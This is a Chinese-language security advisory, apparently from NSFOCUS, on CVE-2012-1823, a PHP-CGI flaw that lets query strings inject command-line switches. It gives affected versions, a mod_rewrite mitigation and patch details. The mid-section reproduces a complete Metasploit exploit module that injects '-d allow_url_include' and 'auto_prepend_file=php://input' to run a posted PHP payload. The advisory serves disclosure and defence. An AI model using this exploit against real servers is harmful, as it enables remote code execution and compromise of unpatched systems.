安全研究

安全漏洞
PHP-CGI远程源码泄露和任意代码执行漏洞

发布日期:2012-05-03
更新日期:2012-05-04

受影响系统:
PHP PHP 5.4.2
PHP PHP 5.4.1
PHP PHP 5.3.9
PHP PHP 5.3.8
PHP PHP 5.3.7
PHP PHP 5.3.6
PHP PHP 5.3.5
PHP PHP 5.3.4
PHP PHP 5.3.3
PHP PHP 5.3.2
PHP PHP 5.3.12
PHP PHP 5.3.1
PHP PHP  5.3.10
RedHat Enterprise Linux
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 12.04 LTS i386
Ubuntu Ubuntu Linux 12.04 LTS i386
Ubuntu Ubuntu Linux 12.04 LTS amd64
Ubuntu Ubuntu Linux 12.04 LTS amd64
Ubuntu Ubuntu Linux 11.10 i386
Ubuntu Ubuntu Linux 11.10 i386
Ubuntu Ubuntu Linux 11.10 amd64
Ubuntu Ubuntu Linux 11.10 amd64
Ubuntu Ubuntu Linux 11.04 powerpc
Ubuntu Ubuntu Linux 11.04 powerpc
Ubuntu Ubuntu Linux 11.04 i386
Ubuntu Ubuntu Linux 11.04 i386
Ubuntu Ubuntu Linux 11.04 ARM
Ubuntu Ubuntu Linux 11.04 ARM
Ubuntu Ubuntu Linux 11.04 amd64
Ubuntu Ubuntu Linux 11.04 amd64
Ubuntu Ubuntu Linux 10.04 sparc
Ubuntu Ubuntu Linux 10.04 sparc
Ubuntu Ubuntu Linux 10.04 powerpc
Ubuntu Ubuntu Linux 10.04 powerpc
Ubuntu Ubuntu Linux 10.04 i386
Ubuntu Ubuntu Linux 10.04 i386
Ubuntu Ubuntu Linux 10.04 ARM
Ubuntu Ubuntu Linux 10.04 ARM
Ubuntu Ubuntu Linux 10.04 amd64
Ubuntu Ubuntu Linux 10.04 amd64
不受影响系统:
PHP PHP 5.3.13
描述:
BUGTRAQ  ID: 53388
CVE ID: CVE-2012-1823

PHP是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。可以被各种Web服务器以多种方式调用,实现动态网页的功能。

PHP处理参数的传递时存在漏洞,PHP 5.3.12和5.4.2之前的5.4.x中的sapi/cgi/cgi_main.c,当配置为CGI脚本(aka php-cgi)时,没有正确处理缺少“=”字符的查询字符串,在特定的配置情况下,远程攻击者可能利用此漏洞在服务器上获取脚本源码或执行任意命令。

当PHP以特定的CGI方式被调用时(例如Apache的mod_cgid),php-cgi接收处理过的查询格式字符串作为命令行参数,允许命令行开关(例如-s、-d 或-c)传递到php-cgi程序,导致源代码泄露和任意代码执行。FastCGI不受影响。

<*来源:eindbazen
  
  链接:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
        http://ompldr.org/vZGxxaQ
        http://zone.wooyun.org/content/151
        http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html
        http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

MetaSploit提供了如下测试模块:

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped ‘=’ in the query string,
                the string is split on ‘+’ (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the “encoded in
                a system-defined manner” from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

            print_status("Checking uri #{uri}")

            response = send_request_raw({ 'uri' => uri })

            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
                return Exploit::CheckCode::Unknown
            end

            response = send_request_raw({ 'uri' => uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                return Exploit::CheckCode::Vulnerable
            end

            print_error("Server responded indicating it was not vulnerable")
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCode::Unknown
        end
    end

    def exploit
        #sleep 100
        begin
            php_trues  = [ "1", "on", "true" ]
            php_falses = [ "0", "off", "false" ]
            args = [
                "-d+allow_url_include%3d#{rand_php_ini_true}",
                "-d+auto_prepend_file%3dphp://input",
            ]

            qs = args.join("+")
            uri = "#{target_uri}?#{qs}"
            p uri

            # Has to be all on one line, so gsub out the comments and the newlines
            payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
            response = send_request_cgi( {
                'method' => "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end
    end

    def rand_php_ini_false
        [ "0", "off", "false" ].sort_by{rand}.first
    end

    def rand_php_ini_true
        [ "1", "on", "true" ].sort_by{rand}.first
    end

end

建议:
临时解决方法:

使用Mod_Rewrite来过滤请求:

RewriteRule规则如下

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

厂商补丁:

PHP
---
目前厂商已经在5.3.13及5.4.3两个版本中修复了这个安全问题,请密切关注厂商网站下载最新版本:

http://www.php.net

浏览次数:7920
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障